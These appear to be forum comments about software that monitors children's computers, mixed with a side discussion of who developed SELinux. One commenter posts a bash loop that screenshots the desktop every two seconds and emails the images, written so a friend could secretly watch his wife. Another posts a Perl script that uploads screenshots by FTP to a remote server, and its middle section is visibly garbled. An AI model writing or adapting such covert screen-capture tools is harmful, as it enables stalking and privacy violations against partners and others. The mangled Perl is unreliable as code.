Toto presne si u mna objednal kamos ked mal podozrenie ze ho zena podvadza(nakoniec vraj nie), ved to je tak jednoduche par riadkov to bolo v bash a posielal som obrazky mailom.
Nieco taketo to spravi:
(.jpg je tam koli uspore miesta, pisem aby chytralkovia nepisali ze na screen je best PNG to vieme snad vsetci :) )
#!/bin/bash
#rm obrazok_*
while [ 1 ]; do
subor=obrazok_`date +%Y%m%d-%H%M%S`.jpg
import -quality 80 -window root obrazok_`date +%Y%m%d-%H%M%S`.jpg
echo $subor
# echo | nail -r fero@fero.com -s subject -a $subor mail@mail.com
sleep 2
done
jj a mate podobne hloupy - tedy nesetrny, sw jak uvadene dilko toho autora.
navic nevim ale myslim, ze existuje neco co pouzije napriklad mpeg4 ci flash. kdy je proste prenasena jen zmeny proti puvodnimu obrazku v jpeg + jednou za cas klicovani...
to mě fakt rozesmálo. Je to skoro stejně dobré jako "Bill Gates, otec Internetu.". To už byste mohl říct, že SELinux napsal RedHat. :-)
Kolem SELinuxu je poměrně zajímavá komunita lidí, dnes už nejen z NSA(tam to vzniklo). Na vývoji se podílejí lidi z Tresys (Chris PeBenito, Joshua Brindle ...), MITRE, NAI Labs, RedHat(Dan Walsh, RJames Morris ...), HP (Paul Moore ...) a spousta dalších. Není to jen DW. Já bych, jakkoli proti DW nic nemám (znám ho), takhle negeneralizoval.
Dan naportoval API pro kernel 2.6 a teď se stará hlavně o targeted policy. Za tým "duchovních otců" bych jmenoval spíše Stephena Smalley.
my %options=();
$options{host}='xxxxxxxxx';
$options{user}='xxxxxxxxx';
$options{pwd}='xxxxxxxx';
$options{rdir}='data/screenshot';
$options{sleep}='10'; # sleep time in seconds
# image magick convert.exe path http://www.imagemagick.org
$options{impath}='c:\imagick\convert.exe';
$options{crop}='1200x880+53+96'; # image crop
$options{resize}='600x440'; # image resize
$options{gamma}='0.4'; # gamma correction ( image is too light after resize )
$options{colors}='16'; # image color reduction
$options{html}='index.htm'; # html file name
my $IMAGE_NAME=''; # global variable with file name changing file name every run to avoid problems with browser caching
my $start_time=time();
my $last_image=''; # name of the last image that has been put to the server in previous run, will be used for delete command
sub generate_html()
{
my $html_code='
---- cutted by www.root.cz ------
';
open (HTML, ">$options{html}");
print HTML $html_code;
close (HTML);
}
sub sleeping()
{
system ( 'del', '*.bmp');
# system ( 'del', '*.gif');
# system ( 'del', $IMAGE_NAME );
system ( 'del', $options{html} );
my $runtime=time()-$start_time;
print "script runtime : $runtime \n";
my $sleep_for=$options{sleep}-$runtime;
print '----*----*----*----*----*----*----*----*'."\n";
my $sec=0;
while ($sec<$sleep_for) { print '##'; sleep (1); $sec ++; } "\n"; $start_time=time(); sub save_screenshot() use win32::ole; win32::api; win32::clipboard; "saving screenshot\n"; my $key win32::api("user32", "keybd_event", 'iinp', 'v'); die "can't import user32.dll: $!\n" if(not defined $key); $clip "empty the clipboard\n"; $clip->Empty();
my $ftp = Net::FTP->new($options{host}, Passive => 1 ) || die("Error: $@\n");
print "Attempting to connect to $options{host}...\n";
$ftp->login($options{user},$options{pwd}) and print "Login Successful\n";
$ftp->ascii and print "Set type to ASCII\n";
$ftp->cwd($options{rdir}) and print "Changed remote dir to $options{rdir}\n";
while ('jelito' ne 'kopyto')
{
&save_screenshot;
&generate_html;
print "Attempting to delete *.gif...\n";
if ($last_image) {$ftp->delete($last_image) or print ">>> DELETE FAILED !!! \n"; }
print "Attempting to upload ...\n";
$ftp->binary;
print "binary mode, uploading image ...\n";
$ftp->put($IMAGE_NAME, $IMAGE_NAME) or print ">>> UPLOAD FAILED !!! \n";
print "uploading html ...\n";
$ftp->put($options{html}, $options{html}) or print ">>> UPLOAD FAILED !!! \n";
# $ftp->ascii;
# $ftp->quit and print("Logged off\n");
print "FTP Finished\n";
$last_image=$IMAGE_NAME;
""" Program se nesnaží být nijak nenápadný. Cílem je dát dětem výstrahu, že mohou být monitorovány, nikoliv se je snažit za každou cenu chytit při činu """
Tohle mne trochu desi, on prakticky zvyka sva decka na to, ze jsou pod neustalym monitoringem. Pak jim vubec nebude vadit, ze jsou vsude kamery apod.
A mozno to bude fungovat uplne opacne - deticky si uvedomia, ze sledovanie je nieco zle, a v dospelosti sa tomu budu aktivnejsie branit ...
Podla mna je aj fer detom povedat, tu je komp, tu je internet, ja to sledujem, tak nerob blbosti ....